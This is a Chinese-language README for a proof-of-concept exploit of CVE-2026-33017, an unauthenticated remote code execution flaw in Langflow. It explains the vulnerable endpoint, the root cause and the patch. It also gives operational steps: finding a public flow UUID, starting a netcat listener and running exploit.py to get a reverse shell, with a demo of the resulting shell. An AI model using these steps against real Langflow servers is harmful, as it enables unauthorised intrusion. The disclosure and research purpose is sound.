Dynamo2k1/CVE-2026-33017
GitHub: Dynamo2k1/CVE-2026-33017
该工具是针对 Langflow 平台 CVE-2026-33017 未授权远程代码执行漏洞的概念验证利用脚本,通过注入恶意 Python 组件实现服务器端代码执行。
Stars: 0 | Forks: 0
# CVE-2026-33017 — Langflow 未授权远程代码执行
**作者:** [dynamo2k1](https://github.com/dynamo2k1)
**严重性:** 严重
**CVSSv3:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
## 概述
**CVE-2026-33017** 是 [Langflow](https://github.com/langflow-ai/langflow)(一个用于可视化构建 LLM 应用和 AI 工作流的开源平台)中一个严重的未授权远程代码执行漏洞。
易受攻击的 endpoint `build_public_tmp` 在无需身份验证的情况下接受请求体中由攻击者提供的 `data` 字段。这允许攻击者注入一个完全自定义的 flow 定义,其中包含**恶意的 Python Custom Component**,其代码会在构建过程中在服务器上执行。
无需任何凭据。只需要一个有效的公开 flow UUID。
## 受影响版本
| 状态 | 版本 |
|--------|---------|
| 易受攻击 | Langflow **< 1.9.0** |
| 已修复 | Langflow **1.9.0+** |
## 易受攻击的 Endpoint
```
POST /api/v1/build_public_tmp/{flow_id}/flow
```
此 endpoint 旨在无需身份验证的情况下构建公开(共享)的 flow。在易受攻击的版本中,它还接受请求体中由攻击者控制的 `data` 字段,该字段被直接传递给服务器端的构建逻辑——包括 Custom Component 中内嵌的任何 Python 代码。
## 用法
### 前置条件
```
pip install requests urllib3
```
### 步骤 1 — 查找公开的 Flow UUID
浏览目标 Langflow 实例并寻找共享/公开的 flow。该 UUID 会出现在 URL 中:
```
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
this is the flow-id
```
### 步骤 2 — 设置监听器
```
nc -lvnp 9001
```
### 步骤 3 — 发起 Exploit
```
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost \
--lport 9001
```
或者使用内置的交互式监听器(无需单独的 `nc`):
```
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost \
--lport 9001 \
--listen
```
### 选项
| 标志 | 描述 |
|------|-------------|
| `--url` | 目标 Langflow 的基础 URL |
| `--flow-id` | 公开的 flow UUID |
| `--lhost` | 用于反向 shell 回调的 IP |
| `--lport` | 监听端口 |
| `--listen` | 使用内置的 shell 处理程序,而不是外部的 `nc` |
| `--timeout` | HTTP 请求超时时间(以秒为单位,默认:30) |
## 演示
```
[*] Target: https://target.com/api/v1/build_public_tmp//flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## 工作原理
1. 攻击者识别出公开的 Langflow flow UUID(在 playground URL 中可见)。
2. 精心构造的 POST 请求注入了一个在模块级别包含 Python 代码的恶意 Custom Component。
3. 在构建阶段,Langflow 会编译该组件代码——在任何方法被调用之前执行了攻击者的 payload。
4. 该代码向攻击者的监听器生成一个反向 shell。
**根本原因:** `build_public_tmp` 信任了请求体中的 `data` 字段,而不是仅使用服务器端存储的 flow 定义。
**补丁:** 在 Langflow 1.9.0 中,`data` 参数已从 `build_public_tmp` 中移除。无法再通过此 endpoint 注入外部 flow 定义。
补丁提交:[`73b6612`](https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0)
## 参考
- [GitHub 安全公告 — GHSA-vwmf-pq79-vjvx](https://github.com/advisories/GHSA-vwmf-pq79-vjvx)
- [NVD — CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017)
- [补丁提交](https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0)
## 免责声明
此 PoC 仅用于教育和授权的安全研究目的。请仅对您拥有或获得明确书面许可测试的系统使用。
标签:Langflow, Python, XXE攻击, 威胁模拟, 无后门, 编程工具, 远程代码执行, 逆向工具